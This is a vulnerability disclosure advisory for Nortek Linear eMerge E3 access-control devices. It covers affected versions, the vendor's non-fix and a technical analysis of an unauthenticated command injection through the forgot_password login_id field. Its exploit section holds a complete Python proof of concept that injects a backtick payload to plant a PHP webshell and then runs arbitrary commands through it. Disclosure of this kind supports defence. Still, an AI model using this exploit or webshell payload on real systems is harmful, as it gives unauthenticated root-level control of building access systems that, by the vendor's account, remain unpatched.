Summary

A vulnerability in the Nortek Linear eMerge E3 allows remote unauthenticated attackers to cause the device to execute arbitrary commands.

Credit

An independent security researcher working with SSD Secure Disclosure

Vendor Response

The vendor has been notified 5 months ago, and has yet to provide any fix, solution or workaround. They did provide the following statement:

We would like to point out that we always recommend that our customers follow best practices to prevent unauthorised access to E3 and TE systems. Best practices include, not placing the product on their corporate network, not placing the product on the open internet, to install the product behind a network firewall and to use a VPN to access the product.

Affected Versions

Nortek Linear eMerge E3 Access Control

  • 0.32-03i
  • 0.32-04m
  • 0.32-05p
  • 0.32-05z
  • 0.32-07p
  • 0.32-07e
  • 0.32-08e
  • 0.32-08f
  • 0.32-09c
  • 1.00.05
  • 1.00.07
Technical Analysis

In /spider/web/app/common/controller.php when the controller() function receives a request with class set to user and method set to forgot_password the function forgot_password() is called accordingly.

The function forgot_password() gets the parameter login_id from the user input and passes it completely unchecked directly to exec():

   public function forgot_password()
   {
      exec(SPIDER_COMM." smtp pwrqsend " . Input::post('login_id', ''));   <-- HERE
      Util::alert("Sent a request message to the administrator.");
      exit;
   }

Due to that, if the login_id parameter comes with an arbitrary command inserted between backticks it gets executed with the privileges of user “lighttpd” and group “root”, which is equivalent to obtaining root access on the device:

uid=1002(lighttpd) gid=0(root)

Additionally, this RCE is unauthenticated, because in the controller() function forgot_password() is invoked before the login procedure takes place:

   if( $this->class == 'user' && $this->method == 'logout' )
   {
      $this->logout();
   } else if( $this->class == 'user' && $this->method == 'forgot_password' ) {
      $this->forgot_password(); <-- AFFECTED CODE IS HERE
     }

   if( !$this->is_login() ) <-- AUTHENTICATION STARTS HERE
   {
      $this->login();
   }

The vulnerability has been tested on latest firmware version 1.00-07 available for this line of products.

Exploit

The attached poc plants a webshell in img/index.html inside the documentRoot of the web server pointed to by the “target” variable. Then a single command is executed to demonstrate the ability to run remote commands. By default this command is ls -al /spider/web but it can be changed to whatever other system command.

import requests
import base64

# change the target IP and port accordingly
target = "https://yourIP:port"
url = target + "/index.php?c=user&m=forgot_password"

PAYLOAD = {'login_id' : '`echo \'<?php exec(base64_decode($_POST[\"c\"]),$output);echo(implode(\"\n\",$output));?>\'>img/index.html`'}
req = requests.post(url, data=PAYLOAD)

# change cmd for executing a different command
cmd = b"/bin/ls -al /spider/web"
enc_cmd = base64.b64encode(cmd)

PAYLOAD = {'c' : enc_cmd}
req = requests.post(target + "/img/index.html", data=PAYLOAD)
if req.status_code == 200:
        print(req.text)
else:
        print("exploit failed.")

?

Get in touch

Skip to content